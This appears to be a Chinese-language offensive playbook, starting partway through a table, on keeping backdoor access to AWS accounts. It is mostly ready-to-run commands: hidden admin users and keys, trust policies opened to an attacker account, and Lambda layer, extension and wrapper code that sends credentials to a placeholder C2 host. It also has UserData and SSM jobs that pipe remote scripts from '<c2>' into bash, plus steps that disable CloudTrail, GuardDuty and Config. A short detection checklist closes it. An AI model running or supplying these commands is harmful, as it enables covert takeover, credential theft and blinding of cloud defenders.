| VPC 流量镜像 | CreateTrafficMirror* | 无 | 中 |
| DNS 外传 | 无(Flow Logs 不记录 DNS) | Trojan:EC2/DNSDataExfiltration | 中 |
AWS 持久化与后门技术详解
本文档覆盖 AWS 各服务的持久化后门(Persistence & Backdoor)技术细节。持久化的目标是在初始入口被修复、凭据被轮换后仍能保持对 AWS 环境的访问。
IAM 持久化
后门用户创建
# 创建伪装成服务账户的后门用户
aws iam create-user --user-name svc-cloudwatch-agent
aws iam attach-user-policy --user-name svc-cloudwatch-agent \
--policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
aws iam create-access-key --user-name svc-cloudwatch-agent
# 记录返回的 AccessKeyId 和 SecretAccessKey为已有用户创建额外 Access Key
# 每个用户最多 2 个 Access Key
aws iam create-access-key --user-name <existing_admin_user>
# 如果已有 2 个,先删除一个
aws iam list-access-keys --user-name <user>
aws iam delete-access-key --user-name <user> --access-key-id <old_key>
aws iam create-access-key --user-name <user>创建/修改控制台登录
# 为没有控制台访问的用户添加密码
aws iam create-login-profile --user-name <user> \
--password 'B@ckd00r!Pass' --no-password-reset-required
# 重置已有用户的密码
aws iam update-login-profile --user-name <user> \
--password 'B@ckd00r!Pass' --no-password-reset-required角色信任策略后门
修改角色的信任策略,允许外部账户或任意实体假冒该角色:
# 允许攻击者账户 AssumeRole
aws iam update-assume-role-policy --role-name AdminRole \
--policy-document '{
"Version":"2012-10-17",
"Statement":[
{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::<attacker_acct>:root"},"Action":"sts:AssumeRole"},
{"Effect":"Allow","Principal":{"Service":"ec2.amazonaws.com"},"Action":"sts:AssumeRole"}
]
}'
# 更隐蔽:在已有信任策略中追加条目,而非替换
# 先 get-role 获取当前策略,修改后 put 回去策略版本后门
在非默认版本中隐藏 Admin 权限,正常审计只检查当前默认版本:
# 创建后门版本(不设为默认)
aws iam create-policy-version --policy-arn <policy_arn> \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--no-set-as-default
# 返回版本号如 v2
# 需要时启用
aws iam set-default-policy-version --policy-arn <policy_arn> --version-id v2
# 用完后切回合法版本
aws iam set-default-policy-version --policy-arn <policy_arn> --version-id v1后门身份提供商(IdP)
# 如果账户已信任 GitHub OIDC Provider,放宽 Condition
# 原始条件可能限制为特定 org/repo,修改后允许攻击者 repo
aws iam update-open-id-connect-provider-thumbprint-list \
--open-id-connect-provider-arn <arn> \
--thumbprint-list <thumbprint>
# 或创建新的 SAML Provider
aws iam create-saml-provider --name backdoor-saml \
--saml-metadata-document file://attacker-metadata.xmlMFA 劫持
# 创建虚拟 MFA 设备并绑定到目标用户
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name attacker-mfa \
--outfile /tmp/mfa-qr.png \
--bootstrap-method QRCodePNG
# 使用 TOTP 工具扫描 QR 码获取两组验证码后绑定
aws iam enable-mfa-device --user-name <target_user> \
--serial-number arn:aws:iam::<account>:mfa/attacker-mfa \
--authentication-code1 <code1> --authentication-code2 <code2>STS 持久化
Role Chain Juggling(角色链循环续期)
利用两个互信角色,通过循环 AssumeRole 无限续期临时凭据。这是 AWS 的合法功能,极难检测:
# 前提:RoleA 信任 RoleB,RoleB 信任 RoleA
# 循环执行:
while true; do
CREDS_B=$(aws sts assume-role --role-arn arn:aws:iam::<acct>:role/RoleB \
--role-session-name juggle --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS_B | jq -r .Credentials.AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS_B | jq -r .Credentials.SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS_B | jq -r .Credentials.SessionToken)
CREDS_A=$(aws sts assume-role --role-arn arn:aws:iam::<acct>:role/RoleA \
--role-session-name juggle --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS_A | jq -r .Credentials.AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS_A | jq -r .Credentials.SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS_A | jq -r .Credentials.SessionToken)
sleep 3000 # 每 50 分钟续期一次(默认 1 小时过期)
done
# 自动化工具
# https://github.com/hotnops/AWSRoleJuggler
./aws_role_juggler.py -r arn:aws:iam::<acct>:role/RoleA arn:aws:iam::<acct>:role/RoleB长期 Session Token
# 获取最长 36 小时的临时凭据
aws sts get-session-token --duration-seconds 129600Lambda 持久化
方法 1: Lambda Layer 后门
Layer 在函数执行前加载,可注入初始化代码。放在 /opt/python/ 或 /opt/ 下会被自动加载:
# 创建恶意 Layer
mkdir -p /tmp/layer/python
cat > /tmp/layer/python/sitecustomize.py << 'PYEOF'
# sitecustomize.py 在 Python 启动时自动执行
import os, urllib.request, json
try:
data = json.dumps({
"key": os.environ.get("AWS_ACCESS_KEY_ID",""),
"secret": os.environ.get("AWS_SECRET_ACCESS_KEY",""),
"token": os.environ.get("AWS_SESSION_TOKEN",""),
"fn": os.environ.get("AWS_LAMBDA_FUNCTION_NAME","")
})
urllib.request.urlopen(
urllib.request.Request("https://<c2>/collect",
data=data.encode(), headers={"Content-Type":"application/json"})
)
except: pass
PYEOF
cd /tmp/layer && zip -r layer.zip python/
aws lambda publish-layer-version --layer-name observability-toolkit \
--zip-file fileb:///tmp/layer/layer.zip \
--compatible-runtimes python3.9 python3.10 python3.11 python3.12
aws lambda update-function-configuration --function-name <target_fn> \
--layers arn:aws:lambda:<region>:<account>:layer:observability-toolkit:1方法 2: Lambda Extension 后门
Extension 作为独立进程运行,可拦截请求/响应、窃取凭据,且不影响函数正常执行:
# Extension 是放在 Layer 的 /opt/extensions/ 目录下的可执行文件
mkdir -p /tmp/ext-layer/extensions
cat > /tmp/ext-layer/extensions/telemetry-agent << 'BASH'
#!/bin/bash
# 注册 Extension
curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2020-01-01/extension/register" \
-H "Lambda-Extension-Name: telemetry-agent" \
-d '{"events":["INVOKE","SHUTDOWN"]}'
# 窃取凭据
curl -s "https://<c2>/exfil?key=${AWS_ACCESS_KEY_ID}" &
# 等待事件循环
while true; do sleep 60; done
BASH
chmod +x /tmp/ext-layer/extensions/telemetry-agent
cd /tmp/ext-layer && zip -r ext.zip extensions/
aws lambda publish-layer-version --layer-name lambda-telemetry \
--zip-file fileb:///tmp/ext-layer/ext.zip
aws lambda update-function-configuration --function-name <fn> \
--layers arn:aws:lambda:<region>:<account>:layer:lambda-telemetry:1方法 3: 别名权重分流
创建后门版本,通过别名将极小比例流量(如 1%)路由到后门版本。99% 的请求走正常代码,极难被发现:
# 1. 发布后门版本
aws lambda update-function-code --function-name <fn> \
--zip-file fileb://backdoor.zip
aws lambda publish-version --function-name <fn>
# 假设后门版本号为 5
# 2. 恢复正常代码
aws lambda update-function-code --function-name <fn> \
--zip-file fileb://legitimate.zip
aws lambda publish-version --function-name <fn>
# 正常版本号为 6
# 3. 更新别名,1% 流量到后门版本
aws lambda update-alias --function-name <fn> --name prod \
--function-version 6 \
--routing-config '{"AdditionalVersionWeights":{"5":0.01}}'方法 4: AWS_LAMBDA_EXEC_WRAPPER
通过环境变量指定 wrapper 脚本,在 handler 之前执行:
# wrapper 脚本通过 Layer 部署到 /opt/bin/wrapper
cat > /tmp/wrapper << 'BASH'
#!/bin/bash
# 在真正的 handler 之前执行
curl -s "https://<c2>/beacon?fn=$AWS_LAMBDA_FUNCTION_NAME" &
exec "$@" # 执行原始 handler
BASH
# 设置环境变量
aws lambda update-function-configuration --function-name <fn> \
--environment 'Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/wrapper}'方法 5: 异步自循环(Async Destination Self-Loop)
利用 Lambda 异步调用的 Destination 功能实现自循环调用,无需外部调度器:
# 设置 OnSuccess Destination 为自身
aws lambda update-function-configuration --function-name <fn> \
--destination-config '{
"OnSuccess":{"Destination":"arn:aws:lambda:<region>:<acct>:function:<fn>"}
}'
# 允许递归调用(默认被 Lambda 阻止)
aws lambda put-function-recursion-config \
--function-name <fn> --recursive-loop Allow
# 限制并发避免账单爆炸
aws lambda put-function-concurrency --function-name <fn> \
--reserved-concurrent-executions 1
# 种子触发(只需一次)
aws lambda invoke --function-name <fn> --invocation-type Event \
--payload '{"action":"heartbeat"}' /dev/nullLambda 资源策略后门
为特定版本添加跨账户 Invoke 权限,不影响主版本/别名的正常调用:
aws lambda add-permission --function-name <fn> --qualifier 3 \
--statement-id backdoor-invoke \
--action lambda:InvokeFunction \
--principal <attacker_account_id>
# 攻击者通过版本 ARN 调用:
# arn:aws:lambda:<region>:<victim_acct>:function:<fn>:3EC2 持久化
UserData 后门
# 修改实例 UserData(需先停止实例)
aws ec2 stop-instances --instance-ids <i-xxx>
aws ec2 modify-instance-attribute --instance-id <i-xxx> \
--user-data 'Value=IyEvYmluL2Jhc2gKY3VybCBodHRwczovLzxjMj4vYmVhY29uLnNoIHwgYmFzaA=='
# Base64 解码: #!/bin/bash\ncurl https://<c2>/beacon.sh | bash
aws ec2 start-instances --instance-ids <i-xxx>
# 对于使用 Launch Template 的 ASG,修改模板
aws ec2 create-launch-template-version --launch-template-id <lt-id> \
--source-version 1 --launch-template-data '{
"UserData":"IyEvYmluL2Jhc2gKY3VybCBodHRwczovLzxjMj4vYi5zaCB8IGJhc2g="
}'
aws ec2 modify-launch-template --launch-template-id <lt-id> \
--default-version 2AMI 后门
在 AMI 中植入后门,后续从该 AMI 启动的所有实例都会继承:
# 从目标实例创建 AMI
aws ec2 create-image --instance-id <i-xxx> \
--name "golden-image-v2.1" --description "Updated base image"
# 在攻击者账户中启动该 AMI → 植入后门 → 重新创建 AMI
# 然后替换原 AMI 或修改 Launch Template 使用后门 AMISSH 密钥注入
# 通过 SSM 注入 SSH 公钥
aws ssm send-command --instance-ids <i-xxx> \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["echo ssh-rsa AAAA... >> /home/ec2-user/.ssh/authorized_keys"]'
# 或通过 EC2 Instance Connect(临时 60 秒,但可脚本化循环注入)
aws ec2-instance-connect send-ssh-public-key \
--instance-id <i-xxx> \
--instance-os-user ec2-user \
--ssh-public-key file://~/.ssh/id_rsa.pubSecurity Group 连接追踪
如果攻击者已建立反弹 Shell,即使安全组被修改为拒绝所有流量,已建立的连接不会被中断(Security Group Connection Tracking 特性)。
EC2 Lifecycle Manager 自动快照
# 配置 DLM 每周自动创建 AMI 并共享给攻击者账户
aws dlm create-lifecycle-policy --description "weekly-backup" \
--state ENABLED \
--execution-role-arn <dlm_role_arn> \
--policy-details '{
"PolicyType":"IMAGE_MANAGEMENT",
"ResourceTypes":["INSTANCE"],
"TargetTags":[{"Key":"backup","Value":"true"}],
"Schedules":[{
"Name":"weekly",
"CreateRule":{"Interval":168,"IntervalUnit":"HOURS"},
"ShareRules":[{"TargetAccounts":["<attacker_acct>"],"UnshareInterval":30,"UnshareIntervalUnit":"DAYS"}]
}]
}'ReplaceRootVolume 隐蔽后门
替换运行中实例的根卷为攻击者控制的快照,实例保持 IP、ENI、角色不变:
aws ec2 create-replace-root-volume-task \
--instance-id <i-xxx> \
--snapshot-id <backdoored_snap>VPC Peering / VPN 持久化
# 创建 VPC Peering(攻击者 VPC → 受害者 VPC)
aws ec2 create-vpc-peering-connection \
--vpc-id <attacker_vpc> \
--peer-vpc-id <victim_vpc> \
--peer-owner-id <victim_acct>
# 创建 VPN 连接
aws ec2 create-vpn-gateway --type ipsec.1
# 配置 Customer Gateway 和 VPN Connection...EventBridge 持久化
定时规则触发恶意 Lambda
# 创建定时规则
aws events put-rule --name "infra-health-monitor" \
--schedule-expression "rate(6 hours)" --state ENABLED
# 绑定目标为后门 Lambda
aws events put-targets --rule "infra-health-monitor" \
--targets '[{
"Id":"1",
"Arn":"arn:aws:lambda:<region>:<acct>:function:<backdoor_fn>"
}]'
# 授权 EventBridge 调用该 Lambda
aws lambda add-permission --function-name <backdoor_fn> \
--statement-id eventbridge-trigger \
--action lambda:InvokeFunction \
--principal events.amazonaws.com \
--source-arn arn:aws:events:<region>:<acct>:rule/infra-health-monitor事件驱动后门
利用 EventBridge 监听特定事件(如新用户创建)并自动执行后门操作:
# 每当有新 IAM 用户被创建时,自动给攻击者角色附加权限
aws events put-rule --name "iam-user-monitor" \
--event-pattern '{
"source":["aws.iam"],
"detail-type":["AWS API Call via CloudTrail"],
"detail":{"eventName":["CreateUser"]}
}' --state ENABLEDSNS 订阅窃取
# 创建外部订阅(HTTP/HTTPS)
aws sns subscribe --topic-arn <topic_arn> \
--protocol https \
--notification-endpoint "https://<attacker>/collect"
# 创建 SQS 订阅(更隐蔽,可带 FilterPolicy)
aws sns subscribe --topic-arn <topic_arn> \
--protocol sqs \
--notification-endpoint <attacker_sqs_arn>
# 设置过滤器只接收特定消息(降低流量减少检测)
aws sns set-subscription-attributes \
--subscription-arn <sub_arn> \
--attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes \
--subscription-arn <sub_arn> \
--attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'SSM 持久化
State Manager Association
# 创建定时 Association(每 30 分钟执行一次)
aws ssm create-association \
--name "AWS-RunShellScript" \
--targets "Key=InstanceIds,Values=<i-xxx>" \
--parameters 'commands=["curl https://<c2>/heartbeat.sh | bash"]' \
--schedule-expression "rate(30 minutes)" \
--association-name "system-patch-check"Maintenance Window 任务
# 注册目标
aws ssm register-target-with-maintenance-window \
--window-id <mw-id> --resource-type INSTANCE \
--targets "Key=InstanceIds,Values=<i-xxx>"
# 注册任务
aws ssm register-task-with-maintenance-window \
--window-id <mw-id> --task-arn "AWS-RunShellScript" \
--task-type RUN_COMMAND \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{
"RunCommand":{"Parameters":{"commands":["curl https://<c2>/mw.sh | bash"]}}
}' --max-concurrency 1 --max-errors 1CloudTrail 规避
停止/删除 Trail
# 停止日志记录
aws cloudtrail stop-logging --name <trail_name>
# 删除 Trail
aws cloudtrail delete-trail --name <trail_name>注意:这两个操作会立即触发 GuardDuty Stealth:IAMUser/CloudTrailLoggingDisabled 高严重性告警。
S3 Lifecycle 自动清理日志
更隐蔽的方式——设置日志桶的 Lifecycle 规则让日志快速过期:
aws s3api put-bucket-lifecycle-configuration \
--bucket <cloudtrail_s3_bucket> \
--lifecycle-configuration '{
"Rules":[{
"ID":"log-cleanup","Status":"Enabled",
"Filter":{"Prefix":"AWSLogs/"},
"Expiration":{"Days":1}
}]
}'缩小事件选择器范围
# 减少记录的事件类型
aws cloudtrail put-event-selectors --trail-name <trail> \
--event-selectors '[{
"ReadWriteType":"WriteOnly",
"IncludeManagementEvents":true,
"DataResources":[]
}]'
# 这样 S3 GetObject、Lambda Invoke 等读操作不再记录GuardDuty 规避
删除 Detector
# 列出 Detector
aws guardduty list-detectors
# 删除(如果不是 Organization 管理的)
aws guardduty delete-detector --detector-id <id>Trusted IP List
将攻击者 IP 添加到信任列表,该 IP 的活动不再产生告警:
# 上传 IP 列表到 S3
echo "<attacker_ip>" > /tmp/trusted.txt
aws s3 cp /tmp/trusted.txt s3://<bucket>/trusted-ips.txt
# 创建 Trusted IP Set
aws guardduty create-ip-set --detector-id <id> \
--name "VPN-Endpoints" --format TXT \
--location s3://<bucket>/trusted-ips.txt \
--activate自动归档 Filter
创建过滤器自动归档特定类型的 Finding:
aws guardduty create-filter --detector-id <id> \
--name "suppress-recon" --action ARCHIVE \
--finding-criteria '{
"Criterion":{
"type":{"Eq":["Recon:IAMUser/UserPermissions"]},
"severity":{"Lt":5}
}
}'批量归档已有 Finding
# 获取所有 Finding ID
FINDING_IDS=$(aws guardduty list-findings --detector-id <id> \
--query 'FindingIds' --output json)
# 批量归档
aws guardduty archive-findings --detector-id <id> \
--finding-ids $FINDING_IDSVPC Flow Logs / AWS Config 规避
# 删除 VPC Flow Logs
aws ec2 describe-flow-logs --query 'FlowLogs[].FlowLogId'
aws ec2 delete-flow-logs --flow-log-ids <fl-xxx>
# 停止 AWS Config Recorder
aws configservice stop-configuration-recorder \
--configuration-recorder-name default
# 删除 Config Delivery Channel
aws configservice delete-delivery-channel \
--delivery-channel-name default
# 删除 Config Rules
aws configservice delete-config-rule --config-rule-name <rule>持久化检测清单
防守方应定期检查以下内容:
| 检查项 | 命令 |
|---|---|
| 异常 IAM 用户 | aws iam list-users |
| 异常 Access Key | aws iam list-access-keys --user-name <user> |
| 角色信任策略含 * 或外部账户 | 枚举所有角色的 AssumeRolePolicyDocument |
| IAM 策略非默认版本 | aws iam list-policy-versions 检查多版本 |
| Lambda Layer 来源 | aws lambda get-function-configuration 检查 Layers |
| Lambda 别名权重 | aws lambda get-alias 检查 RoutingConfig |
| EventBridge 异常规则 | aws events list-rules |
| SNS 外部订阅 | aws sns list-subscriptions-by-topic |
| CloudTrail 状态 | aws cloudtrail get-trail-status |
| GuardDuty Detector 状态 | aws guardduty list-detectors + get-detector |
| S3 Lifecycle 异常规则 | aws s3api get-bucket-lifecycle-configuration |
| SSM Association | aws ssm list-associations |